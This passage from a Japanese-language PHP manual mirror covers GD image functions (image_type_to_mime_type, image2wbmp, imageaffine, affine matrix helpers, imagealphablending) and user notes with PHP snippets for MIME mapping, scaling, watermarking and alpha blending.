                    array (IMAGETYPE_JPX        => 'jpf',     "mime_type" => 'application/octet-stream'),            ### 11 = JPX  // B. Duplicated MIME type
                    array (IMAGETYPE_JB2        => 'jb2',     "mime_type" => 'application/octet-stream'),            ### 12 = JB2  // B. Duplicated MIME type
                    array (IMAGETYPE_SWC        => 'swc',     "mime_type" => 'application/x-shockwave-flash'),    ### 13 = SWC  // A. Duplicated MIME type
                    array (IMAGETYPE_IFF        => 'aiff',     "mime_type" => 'image/iff'),                        ### 14 = IFF
                    array (IMAGETYPE_WBMP        => 'wbmp',     "mime_type" => 'image/vnd.wap.wbmp'),                ### 15 = WBMP
                    array (IMAGETYPE_XBM        => 'xbm',     "mime_type" => 'image/xbm')                            ### 16 = XBM
            );

            if((is_int($image_type)) AND (IMAGETYPE_GIF <= $image_type) AND (IMAGETYPE_XBM >= $image_type)){
                $extension = $image_type_identifiers[$image_type-1]; // -1 because $image_type_identifiers array starts at [0]
                $extension = $extension[$image_type];
            }
            elseif(is_string($image_type) AND (($image_type != 'application/x-shockwave-flash') OR ($image_type != 'application/octet-stream'))){

                $extension =  match_mime_type_to_extension($image_type, $image_type_identifiers);
            }
            else
            {
                $extension = INVALID_IMAGETYPE;
            }

               if(is_bool($include_dot)){

                   if((false != $include_dot) AND (INVALID_IMAGETYPE != $extension)){
                       $extension = '.' . $extension;
                   }
               }
               else
               {
                   $extension = INVALID_IMAGETYPE;
               }

           return $extension;

           }
    }

    function match_mime_type_to_extension($image_type, $image_type_identifiers){
        // Return from loop on a match
        foreach($image_type_identifiers as $_key_outer_loop => $_val_outer_loop){
            foreach($_val_outer_loop as $_key => $_val){
                if(is_int ($_key)){             // Keep record of extension for mime check
                    $extension = $_val;
                }
                if($_key == 'mime_type'){
                    if($_val === $image_type){    // Found match no need to continue looping
                        return $extension;        ### Return
                    }
                }
            }
        }
        // Compared all values without match
        return $extension = INVALID_IMAGETYPE;
    }

    $extension = image_type_or_mime_type_to_extension($image_type, $include_dot);
     return $extension;
}
?>
Ian Paul Short chukdocsAtHotmailDotCom 28-Sep-2006 07:55
2006-09-29

A few notes about some contributions on this page.

1. It seemed to me that on the face it of all of the offerings to emulate "image_type_to_extension" function fell short of the mark in one way or another (See my comments below). That's why I wrote my own and submitted to this page below. In respect of my work any comments, bugs noted or improvements would be gratefully received.

2. Avoid using the Switch statement in an unconventional method to "Break" (I note the use of the return statement!). Also even if it does nothing at the inception of our code - Still put in the default case (It lets others realise that a default is not required or at worst forgotton.

3. In an environment that is under your control the risk of an error by determining the content by its extension or MIME type may seem an attractive solution to a problem. However, in the real world there's no guarantee that a MIME type or file extension is correct for it's associated file.

Consider using functions to get the image type:
      getimagesize or (This is available without GD)
      exif_imagetype

4. There's more to coding than just putting something together to do a job!!! But whatever is done is worthwhile - Hence expletives have no place in this forum!!

5. The idea from "oridan at hotmail dot com" is a very slick idea. I will be taking a closer look at this for my own project.
aleksandrs dot bogdanovs at gmail dot com 23-Dec-2005 05:44
When I was writing a script for my photo website, it was necessary to write such function, which can get the extension of uploaded file (image), so the function is:

<?php
function get_extension($imagetype)
   {
       if(empty($imagetype)) return false;
       switch($imagetype)
       {
           case 'image/bmp': return '.bmp';
           case 'image/cis-cod': return '.cod';
           case 'image/gif': return '.gif';
           case 'image/ief': return '.ief';
           case 'image/jpeg': return '.jpg';
           case 'image/pipeg': return '.jfif';
           case 'image/tiff': return '.tif';
           case 'image/x-cmu-raster': return '.ras';
           case 'image/x-cmx': return '.cmx';
           case 'image/x-icon': return '.ico';
           case 'image/x-portable-anymap': return '.pnm';
           case 'image/x-portable-bitmap': return '.pbm';
           case 'image/x-portable-graymap': return '.pgm';
           case 'image/x-portable-pixmap': return '.ppm';
           case 'image/x-rgb': return '.rgb';
           case 'image/x-xbitmap': return '.xbm';
           case 'image/x-xpixmap': return '.xpm';
           case 'image/x-xwindowdump': return '.xwd';
           case 'image/png': return '.png';
           case 'image/x-jps': return '.jps';
           case 'image/x-freehand': return '.fh';
           default: return false;
       }
   }
?>

It's useful for those, who upload files on server.


getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する

  • ≪ image_type_to_extension
  • image2wbmp ≫
  • PHP Manual
  • GD および Image 関数
  • getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する

image_type_to_mime_type

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

image_type_to_mime_type — getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する

説明

image_type_to_mime_type ( int $image_type ) : string

image_type_to_mime_type() は IMAGETYPE 定数で指定される Mime-Type を取得します。

パラメータ

image_type

IMAGETYPE_XXX 定数のいずれか。

返り値

戻り値は次のとおりです。

戻り値の定数
image_type | 戻り値
IMAGETYPE_GIF | image/gif
IMAGETYPE_JPEG | image/jpeg
IMAGETYPE_PNG | image/png
IMAGETYPE_SWF | application/x-shockwave-flash
IMAGETYPE_PSD | image/psd
IMAGETYPE_BMP | image/bmp
IMAGETYPE_TIFF_II (intel byte order) | image/tiff
IMAGETYPE_TIFF_MM (motorola byte order) | image/tiff
IMAGETYPE_JPC | application/octet-stream
IMAGETYPE_JP2 | image/jp2
IMAGETYPE_JPX | application/octet-stream
IMAGETYPE_JB2 | application/octet-stream
IMAGETYPE_SWC | application/x-shockwave-flash
IMAGETYPE_IFF | image/iff
IMAGETYPE_WBMP | image/vnd.wap.wbmp
IMAGETYPE_XBM | image/xbm
IMAGETYPE_ICO | image/vnd.microsoft.icon
IMAGETYPE_WEBP | image/webp

例

例1 image_type_to_mime_type() の例

<?php
header("Content-type: " . image_type_to_mime_type(IMAGETYPE_PNG));
?>

注意

注意:

この関数は、GD 画像ライブラリを必要としません。

参考

  • getimagesize() - 画像の大きさを取得する
  • exif_imagetype() - イメージの型を定義する
  • exif_read_data() - 画像ファイルから EXIF ヘッダを読み込む
  • exif_thumbnail() - 画像に埋め込まれたサムネイルを取得する

User Contributed Notes

slegersjohn at gmail dot com 06-Mar-2014 04:39
If you are working with Images only and you need mime type (e.g. for headers), then this is a fast and reliable technique:

<?php
$file = 'path/to/image.jpg';
$image_mime = image_type_to_mime_type(exif_imagetype($file));
?>

It will output true image mime type even if you rename your image file.
kissrat at gmail dot com 10-Oct-2013 05:06
Map the image type enum to file extension:
$extensions = array(
    IMAGETYPE_GIF => "gif",
    IMAGETYPE_JPEG => "jpg",
    IMAGETYPE_PNG => "png",
    IMAGETYPE_SWF => "swf",
    IMAGETYPE_PSD => "psd",
    IMAGETYPE_BMP => "bmp",
    IMAGETYPE_TIFF_II => "tiff",
    IMAGETYPE_TIFF_MM => "tiff",
    IMAGETYPE_JPC => "jpc",
    IMAGETYPE_JP2 => "jp2",
    IMAGETYPE_JPX => "jpx",
    IMAGETYPE_JB2 => "jb2",
    IMAGETYPE_SWC => "swc",
    IMAGETYPE_IFF => "iff",
    IMAGETYPE_WBMP => "wbmp",
    IMAGETYPE_XBM => "xbm",
    IMAGETYPE_ICO => "ico"
);
benshelock at gmail dot com 09-Mar-2009 11:08
I was looking to detect the format of images, Im not sure if this is the best way but it works for me.

<?php
$filename = 'http://static.php.net/www.php.net/images/php.gif';
$size = getimagesize($filename);

switch ($size['mime']) {
    case "image/gif":
        echo "Image is a gif";
        break;
    case "image/jpeg":
        echo "Image is a jpeg";
        break;
    case "image/png":
        echo "Image is a png";
        break;
    case "image/bmp":
        echo "Image is a bmp";
        break;
}
?>


画像をブラウザあるいはファイルに出力する

  • ≪ image_type_to_mime_type
  • imageaffine ≫
  • PHP Manual
  • GD および Image 関数
  • 画像をブラウザあるいはファイルに出力する

image2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

image2wbmp — 画像をブラウザあるいはファイルに出力する

警告

この関数は PHP 7.3.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

image2wbmp ( resource $image , string $filename = ? , int $foreground = ? ) : bool

image2wbmp() は、イメージ im から filename に WBMP ファイルを作成します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

filename

保存されるファイルへのパス。指定しなかった場合は、生の画像ストリームが直接出力されます。

foreground

imagecolorallocate() から取得した識別子をこのパラメーターに設定することで、 フォアグラウンドカラーを設定できます。 デフォルトのフォアグラウンドカラーは黒です。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 image2wbmp() の例

<?php
$file = 'php.png';
$image = imagecreatefrompng($file);

header('Content-Type: ' . image_type_to_mime_type(IMAGETYPE_WBMP));
image2wbmp($image); // ストリームを直接出力します。
imagedestroy($image);
?>

参考

  • imagewbmp() - 画像をブラウザあるいはファイルに出力する

User Contributed Notes

There are no user contributed notes for this page.


元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す

  • ≪ image2wbmp
  • imageaffinematrixconcat ≫
  • PHP Manual
  • GD および Image 関数
  • 元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す

imageaffine

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffine — 元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す

説明

imageaffine ( resource $image , array $affine , array $clip = ? ) : resource|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

affine

0 から 5 までのキーを持つ配列。

clip

キー "x"、"y"、"width" そして "height" を持つ配列。

返り値

アフィン変換した画像リソースを返します。失敗した場合に false を返します。

User Contributed Notes

der at herrstrietzel dot de 06-Mar-2021 01:43
Might be an alternative or workaround for imagecopyresampled as imageaffine supports more sophisticated interpolation such as IMG_MITCHELL.

// create image resource
$img_path = 'test.jpg';
$img = imagecreatefromstring(file_get_contents($img_path));
// scale image to 50% with Mitchell interpolation
$scale = 0.5;
imagesetinterpolation($img, IMG_MITCHELL);
$img_scaled = imageaffine($img, [0.5, 0, 0, 0.5, 0, 0]);
// save image
$output = 'test_scaledAffine.png';
imagepng($img_scaled, $output, 9);
echo '<img src="'.$output.'" width="300">';

Helper function example:

function scaleImgAffine($img, $newWidth, $resized_file='', $interpolation=IMG_MITCHELL)
{
    // create img resource if $img is file path
    if(!is_resource($img)){
        $img = imagecreatefromstring(file_get_contents($img));
    }
    // get original img dimensions
    $w = imagesx($img);
    $h = imagesy($img);

    /**
    * recommended interpolation method is 'IMG_MITCHELL'
    * providing the overall best precision and
    * compression for most image types
    * in particular for pngs with transparency suffering
    * from artifacted downsampling result
    */
    imagesetinterpolation($img, $interpolation);
    /*
    * imageaffine will scale dimensions in an anamorphic way -
    * even with square based images:
    * 1200x1200 will get something like 1199x1200
    * - improvements are very welcome
    * Workaround: Adjusting both the original width and the clip parameter
    * by adding 1px solved the issue for me
    */
    $scale = ($newWidth+1) / $w;
    $newHeight = floor($h*$scale);

    // scale by affine matrix
    $resized_affine =
    imageaffine(
        $img,
        [$scale, 0, 0, $scale, 0, 0],
        ['x' => 0, 'y' => 0, 'width' => $w, 'height' => $h-1]
    );
    /*
    * 'clip' parameter might be misleading as it expects
    * the original and not the final/transformed width
    */

    // save to file or return resource
    if($resized_file){
        $file_type = pathinfo($resized_file, PATHINFO_EXTENSION );
        switch($file_type){
            case 'jpg':
            case 'jpeg':
                // flatten transparency for jpgs
                $tmp_img = imagecreatetruecolor($newWidth, $newHeight );
                $bg = imagecolorallocate($tmp_img, 255,255,255);
                imagefill($tmp_img, 0, 0, $bg);
                imagesavealpha($tmp_img, false);
                imagealphablending($tmp_img, true);
                imagecopy($tmp_img, $resized_affine, 0, 0, 0, 0, $newWidth, $newHeight );
                imagejpeg($tmp_img, $resized_file, 85);
                break;
            case 'png':
                imagepng($resized_affine, $resized_file, 9);
                break;
        }
    }else{
        return $resized_affine;
    }
}

$img_scaled_affine = scaleImgAffine($img_path, 400, 'test_scaledAffine.jpg', true);

IMG_MITCHELL is in particular advanced when it comes to scaling png24 with transparency in GDlib environments (... actually png31 due to gds alpha 7bit channel?). Most commonly you'll experience bad compression using png due to imperceptible artifacts after resizing.

Hopefully we'll see an implementation of more advanced interpolation methods in basic GD resizing functions like imagecopyresized or imagescale.
adri at sternschanze dot net 17-Feb-2018 01:55
CORRECTION:

The AFFINE ARRAY, is defined like,

         $affine = [ a0, b0, a1, b1, a2, b2 ];
abc at ed48 dot com 22-Dec-2013 05:52
Here is an example, which performs a specific processing, every time it is executed:

<?php

if (!function_exists('imageaffine'))
{
echo 'FUNCTION NOT DEFINED IN THIS VERSION OF PHP';
exit;
}

$base_img = 'affine.png';

$tgt_img1 = 'triangle1.png';

$tgt_img2 = 'triangle2.png';

$arr_affine = [
[ 1, 0, 0, 1, 0, 0 ],
[ 1, 0, 0, 1, 150, 0 ],
[ 1.2, 0, 0, 0.6, 0, 0 ],
[ -1.2, 0, 0, -0.6, 0, 0 ],
[ 1, 2, 0, 1, 0, 0 ],
[ 2, 1, 0, 1, 0, 0 ],
[ cos(15), sin(15), -sin(15), cos(15), 0, 0 ],
[ cos(15), -sin(15), sin(15), cos(15), 0, 0 ]
];

$RSR_base = imagecreatetruecolor(400, 300);
$w = imagesx($RSR_base);
$h = imagesy($RSR_base);

$arr_clip = [ 'x' => 0, 'y' => 0, 'width' => $w, 'height' => $h ];

$fillcolor = imagecolorallocate($RSR_base, 0, 0, 0);

imagefill($RSR_base, 10,10, $fillcolor);

imagepng($RSR_base, $base_img);

$drawcolor = imagecolorallocate($RSR_base, 255, 0, 0);

$triangle = [ 50, 50, 50, 150, 200, 150 ];
$points = 3;

imageantialias($RSR_base, 1);

$drawtriangle = imagefilledpolygon($RSR_base, $triangle, $points, $drawcolor);

imagepng($RSR_base, $tgt_img1);

$select = mt_rand(0, 7);

$RSRaff2 = imageaffine($RSR_base, $arr_affine[$select], $arr_clip);

imagepng($RSRaff2, $tgt_img2, 9);

?>

SUPPORT IMAGE<br><br>
<img src="<?php echo $base_img; ?>" alt="*" /><br><br>

BASE IMAGE<br><br>
<img src="<?php echo $tgt_img1; ?>" alt="*" /><br><br>

RESULT IMAGE<br><br>
<img src="<?php echo $tgt_img2; ?>" alt="*" />
abc at ed48 dot com 22-Dec-2013 05:17
correcting:

c ) SCALE,

         $affine = [ M, 0, N, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.
abc at ed48 dot com 22-Dec-2013 04:10
AFFINE is a geometric transformation operation involving MATRICES, covering both, 2D and 3D environment.
Transformations are often used in linear algebra and computer graphics.

In geometric transformations of images, the pixel coordinate is mapped.

This means that, each pixel is localized by two coordinates, in the rectangular domain of the image.
Without going into more details about pixel mapping, let's get to what really matters: the AFFINE transformations.
There are several classes of pixel mapping, one is called "affine".
Affine transformations include: scaling, rotation, shearing and translation.

PHP 5.5.0+, like "libart", uses ARRAYS of six floating-point elements to do the job.

The AFFINE ARRAY, is defined like,

         $affine = [ a0, a1, b0, b1, a2, b2 ];

         where,
         a0, a1, b0, b1, a2, b2 are floating-point values.

         represented by equations,

         x' = a0x + a1y + a2

         y' = b0x + b1y + b2

a ) IDENTITY, no change made in the path of points,

         $affine = [ 1, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = 0x + 1y = 0 = y

b ) TRANSLATION,

         $affine = [ 1, 0, 0, 1, H, V ];

         equations remapping,

         x' = 1x + 0y + H = x + H

         y' = 0x + 1y = V = y + V

         Each point is moved H units horizontaly and V units verticaly.

c ) SCALE,

         $affine = [ i, 0, j, 1, 0, 0 ];

         equations remapping,

         x' = Mx + 0y + 0 = Mx

         y' = 0x + Ny = 0 = Ny

         Each point will stretch or compress its path, horizontally or vertically, according M and N; negative or positive values.

d ) SHEARING, parallel to x axis,

         $affine = [ 1, K, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + Ky + 0 = x + Ky

         y' = 0x + 1y = 0 = y

    SHEARING, parallel to y axis,

         $affine = [ K, 0, 0, 1, 0, 0 ];

         equations remapping,

         x' = 1x + 0y + 0 = x

         y' = Kx + 1y = 0 = y + Kx

e ) ROTATION, clockwise,

         $affine = [ cos O, sin O, -sin O, cos O, 0, 0 ];

         equations remapping,

         x' =  x cos O + y sin O + 0 = x cos O + y sin O

         y' = -x sin O + y cos O = 0 = y cos O - x sin O

    ROTATION, conterclockwise,

         $affine = [ cos O, -sin O, sin O, cos O, 0, 0 ];

         equations remapping,

         x' =  x cos O - y sin O + 0 = x cos O - y sin O

         y' = x sin O + y cos O = 0 = y sin O - x cos O


二つのアフィン変換行列を連結する

  • ≪ imageaffine
  • imageaffinematrixget ≫
  • PHP Manual
  • GD および Image 関数
  • 二つのアフィン変換行列を連結する

imageaffinematrixconcat

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffinematrixconcat — 二つのアフィン変換行列を連結する

説明

imageaffinematrixconcat ( array $m1 , array $m2 ) : array|false

二つのアフィン変換行列を連結したものを返します。 複数の行列を、同じ画像に対して一度に適用したい場合に便利です。

パラメータ

m1

アフィン変換行列 (0 から 5 までのキーに float 値を持つ配列)。

m2

アフィン変換行列 (0 から 5 までのキーに float 値を持つ配列)。

返り値

アフィン変換行列 (0 から 5 までのキーに float 値を持つ配列) を返します。失敗した場合に false を返します。

例

例1 imageaffinematrixconcat() の例

<?php
$m1 = imageaffinematrixget(IMG_AFFINE_TRANSLATE, array('x' = 2, 'y' => 3));
$m2 = imageaffinematrixget(IMG_AFFINE_SCALE, array('x' = 4, 'y' => 5));
$matrix = imageaffinematrixconcat($m1, $m2);
print_r($matrix);
?>

上の例の出力は以下となります。

Array
(
    [0] => 4
    [1] => 0
    [2] => 0
    [3] => 5
    [4] => 8
    [5] => 15
)

参考

  • imageaffine() - 元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す
  • imageaffinematrixget() - アフィン変換行列を取得する

User Contributed Notes

There are no user contributed notes for this page.


アフィン変換行列を取得する

  • ≪ imageaffinematrixconcat
  • imagealphablending ≫
  • PHP Manual
  • GD および Image 関数
  • アフィン変換行列を取得する

imageaffinematrixget

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffinematrixget — アフィン変換行列を取得する

説明

imageaffinematrixget ( int $type , mixed $options = ? ) : array|false

アフィン変換行列を返します。

パラメータ

type

定数 IMG_AFFINE_* のいずれか。

options

type が IMG_AFFINE_TRANSLATE あるいは IMG_AFFINE_SCALE の場合は、 options は x と y をキーとする配列でなければいけません。 それぞれの値は float にする必要があります。

type が IMG_AFFINE_ROTATE、 IMG_AFFINE_SHEAR_HORIZONTAL、 IMG_AFFINE_SHEAR_VERTICAL のいずれかである場合は、 options はアングルを指定する float 値でなければいけません。

返り値

0 から 5 までのキーに float 値を持つ配列を返します。失敗した場合に false を返します。

例

例1 imageaffinematrixget() の例

<?php
$matrix = imageaffinematrixget(IMG_AFFINE_TRANSLATE, array('x' => 2, 'y' => 3));
print_r($matrix);
?>

上の例の出力は以下となります。

Array
(
    [0] => 1
    [1] => 0
    [2] => 0
    [3] => 1
    [4] => 2
    [5] => 3
)

参考

  • imageaffine() - 元の画像を、オプションのクリッピング領域を使ってアフィン変換した画像を返す
  • imageaffinematrixconcat() - 二つのアフィン変換行列を連結する

User Contributed Notes

There are no user contributed notes for this page.


イメージのブレンドモードを設定する

  • ≪ imageaffinematrixget
  • imageantialias ≫
  • PHP Manual
  • GD および Image 関数
  • イメージのブレンドモードを設定する

imagealphablending

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagealphablending — イメージのブレンドモードを設定する

説明

imagealphablending ( resource $image , bool $blendmode ) : bool

imagealphablending() によりTrueColorイメージに 二つの異なる描画モードを使用可能となります。ブレンドモードでは、 全ての描画関数に指定される色のalphaチャネル要素として使用され、 例えばimagesetpixel()では背景色の透過割合を定 義します。結果として、gd は描画色に関してその点に存在する色を自動 的にブレンドし、イメージに結果を保存します。結果のピクセルは、透 明になります。ブレンドモードでない場合、描画色は形式的にそのアル ファチャネル情報にコピーされ、出力ピクセルを置換します。ブレンド モードは、パレットイメージを描画している際には使用できません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

blendmode

ブレンドモードを有効にするかどうか。True Color 画像の場合のデフォルトは true、それ以外の場合のデフォルトは false です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagealphablending() の使用例

<?php
// 画像を作成します
$im = imagecreatetruecolor(100, 100);

// アルファブレンディングをオンにします
imagealphablending($im, true);

// 正方形を描画します
imagefilledrectangle($im, 30, 30, 70, 70, imagecolorallocate($im, 255, 0, 0));

// 出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

User Contributed Notes

klaproth at creative-mindworks dot de 18-May-2008 10:57
I have written a function that takes an image as parameter and returns the same image with a reflection effect (often seen in WEB 2.0 sites). I have not performance-tested this with large image files, for thumbnails it works fine (requires PHP 4.3.2 or above, or PHP5).

<?php
function imagereflection($src_img) {
  $src_height = imagesy($src_img);
  $src_width = imagesx($src_img);
  $dest_height = $src_height + ($src_height / 2);
  $dest_width = $src_width;

  $reflected = imagecreatetruecolor($dest_width, $dest_height);
  imagealphablending($reflected, false);
  imagesavealpha($reflected, true);

  imagecopy($reflected, $src_img, 0, 0, 0, 0, $src_width, $src_height);
  $reflection_height = $src_height / 2;
  $alpha_step = 80 / $reflection_height;
  for ($y = 1; $y <= $reflection_height; $y++) {
    for ($x = 0; $x < $dest_width; $x++) {
      // copy pixel from x / $src_height - y to x / $src_height + y
      $rgba = imagecolorat($src_img, $x, $src_height - $y);
      $alpha = ($rgba & 0x7F000000) >> 24;
      $alpha =  max($alpha, 47 + ($y * $alpha_step));
      $rgba = imagecolorsforindex($src_img, $rgba);
      $rgba = imagecolorallocatealpha($reflected, $rgba['red'], $rgba['green'], $rgba['blue'], $alpha);
      imagesetpixel($reflected, $x, $src_height + $y - 1, $rgba);
    }
  }

  return $reflected;
}
?>

This is rather hot-coded. You could go on and extract some of the values as parameters (80 is the transparency start value, $height / 2 is the reflection area...).

Cheers,
Christian
jeppe dot dyrby at gmail dot com 14-Aug-2007 07:34
I have create a little function for putting a watermark on any picture.
Watermark can be png, with transparency, and the watermark can be placed anywhere on the image, using simple strings such as 'bottom-left', or 'center'.

<?
function imagelogo (&$dst_image, $src_image, $dst_w, $dst_h, $src_w, $src_h, $position='bottom-left') {
    imagealphablending($dst_image,true);
    imagealphablending($src_image,true);
    if ($position == 'random') {
        $position = rand(1,8);
    }
    switch ($position) {
        case 'top-right':
        case 'right-top':
        case 1:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), 0, 0, 0, $src_w, $src_h);
        break;
        case 'top-left':
        case 'left-top':
        case 2:
            imagecopy($dst_image, $src_image, 0, 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom-right':
        case 'right-bottom':
        case 3:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'bottom-left':
        case 'left-bottom':
        case 4:
            imagecopy($dst_image, $src_image, 0 , ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'center':
        case 5:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'top':
        case 6:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom':
        case 7:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'left':
        case 8:
            imagecopy($dst_image, $src_image, 0, (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'right':
        case 9:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
    }
}

// example:

imagelogo($image, $watermark, imagesx($image), imagesy($image), imagesx($watermark), imagesy($watermark), 'random');
?>
JAYPEEsorenATgeeMail 14-Dec-2006 01:52
I rewrote the code given below to skip calculations and pixel setting when not needed (full opaque or full transparent pixels), as the content of my overlays is generally mostly transparent. Reduced processing time from ~0.17s to ~0.06s on 216x145px images.

function alphaOverlay($destImg, $overlayImg, $imgW, $imgH)
{
    for($y=0;$y<$imgH;$y++)
    {
        for($x=0;$x<$imgW;$x++)
        {
            $ovrARGB = imagecolorat($overlayImg, $x, $y);
            $ovrA = ($ovrARGB >> 24) << 1;
            $ovrR = $ovrARGB >> 16 & 0xFF;
            $ovrG = $ovrARGB >> 8 & 0xFF;
            $ovrB = $ovrARGB & 0xFF;

            $change = false;
            if($ovrA == 0)
            {
                $dstR = $ovrR;
                $dstG = $ovrG;
                $dstB = $ovrB;
                $change = true;
            }
            elseif($ovrA < 254)
            {
                $dstARGB = imagecolorat($destImg, $x, $y);
                $dstR = $dstARGB >> 16 & 0xFF;
                $dstG = $dstARGB >> 8 & 0xFF;
                $dstB = $dstARGB & 0xFF;

                $dstR = (($ovrR * (0xFF-$ovrA)) >> 8) + (($dstR * $ovrA) >> 8);
                $dstG = (($ovrG * (0xFF-$ovrA)) >> 8) + (($dstG * $ovrA) >> 8);
                $dstB = (($ovrB * (0xFF-$ovrA)) >> 8) + (($dstB * $ovrA) >> 8);
                $change = true;
            }
            if($change)
            {
                $dstRGB = imagecolorallocatealpha($destImg, $dstR, $dstG, $dstB, 0);
                imagesetpixel($destImg, $x, $y, $dstRGB);
            }

        }
    }
    return $destImg;
}
roONLYycoLOWERCAneSEjo at gmail dot com 21-Nov-2006 10:35
Roy Conejo says:

I' had to "per-pixel alpha blend" an image into a solid background, as seen on the very concise example from "barnabas at kendall dot NOSPAM dot net": an alpha blended .png logo on a .jpg photograph. The problem was... it doesn't worked out at all here (why? T_T).

Note that I'm using just the source alpha to determine how much colour from source and destination will be present on the final pixel... and that I've to multiply the alpha value (0 - 127) by 2 because I need it to be 8 bits for the calculations.

I think the code is pretty fast, no decimals, no rounding, no unnecesary coding. Bound checking or clipping could be implemented if you really need to.

I hope it helps someone on my same situation ^.^

<?php

    ## BEGIN of function alpha_blending -------------------------------------------
    function
    alpha_blending ($dest, $source, $dest_x, $dest_y) {

        ## lets blend source pixels with source alpha into destination =)
        for ($y = 0; $y < imagesy($source); $y++) {
            for ($x = 0; $x < imagesx($source); $x++) {

                $argb_s = imagecolorat ($source    ,$x            ,$y);
                $argb_d = imagecolorat ($dest    ,$x+$dest_x    ,$y+$dest_y);

                $a_s    = ($argb_s >> 24) << 1; ## 7 to 8 bits.
                $r_s    =  $argb_s >> 16     & 0xFF;
                $g_s    =  $argb_s >>  8    & 0xFF;
                $b_s    =  $argb_s            & 0xFF;

                $r_d    =  $argb_d >> 16    & 0xFF;
                $g_d    =  $argb_d >>  8    & 0xFF;
                $b_d    =  $argb_d            & 0xFF;

                ## source pixel 100% opaque (alpha == 0)
                if ($a_s == 0) {
                    $r_d = $r_s; $g_d = $g_s; $b_d = $b_s;
                }
                ## source pixel 100% transparent (alpha == 255)
                else if ($a_s > 253) {
                ## using source alpha only, we have to mix (100-"some") percent
                ## of source with "some" percent of destination.
                } else {
                    $r_d = (($r_s * (0xFF-$a_s)) >> 8) + (($r_d * $a_s) >> 8);
                    $g_d = (($g_s * (0xFF-$a_s)) >> 8) + (($g_d * $a_s) >> 8);
                    $b_d = (($b_s * (0xFF-$a_s)) >> 8) + (($b_d * $a_s) >> 8);
                }

                $rgb_d = imagecolorallocatealpha ($dest, $r_d, $g_d, $b_d, 0);
                imagesetpixel ($dest, $x, $y, $rgb_d);
            }
        }
    }
    ## END of function alpha_blending -------------------------------------------

    ## let's start loading images as usual...
    $source = imagecreatefrompng ('logo.png');
    $dest    = imagecreatefromjpg ('photo.jpg');

    ## alpha blend $source into $dest starting at 10, 5.
    alpha_blending ($dest, $source, 10, 5);

    ## here you'll have to save "$dest" or send it to the browser...
    ##

    imagedestroy ($source);
    imagedestroy ($dest);

?>

eof =p
Raisul Kabir Ruman 01-Sep-2006 05:45
In the previous message, I found it is working perfect. But, it can be done a lot easily, as is described by the first message by "barnabas at kendall dot NOSPAM dot net". Though, it don't work totally, instead of using imageAlphaBlending, you have to use imageSaveAlpha

So, I found the corrected and smalled code would be

<?php
$im_a = @imagecreatefrompng("a.png");
$im_c = @imagecreatefrompng("c.png");
imageSaveAlpha($im_c, true);

imagecopy($im_c,$im_a,0,0,0,0,200,200);
header("Content-type: image/png");
imagepng($im_c);
?>
luke dot stanley at gmail dot com 21-Aug-2006 01:30
"If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:"

dscharrer at gmail dot com offered this without a use example, so here is one:

<?

$flag = imagecreatefrompng('a.png');
$mask = imagecreatefrompng('b.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);
$i= array($flag, $mask); // here is the array of images, using the above specified $flag and $mask images

$s = imagemergealpha($i);

header("Content-type: image/png");
imagepng($s);

//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
